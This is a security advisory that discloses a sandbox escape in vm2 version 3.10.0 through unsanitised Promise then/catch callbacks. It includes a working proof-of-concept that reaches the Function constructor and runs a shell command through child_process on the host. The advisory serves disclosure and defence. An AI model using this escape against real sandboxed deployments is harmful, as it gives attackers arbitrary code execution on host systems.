GHSA-99p7-6v5w-7xg8
vm2 has a Sandbox Escape
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
```js
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
```
In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.
References
External links from the advisory. They lead to third-party sites.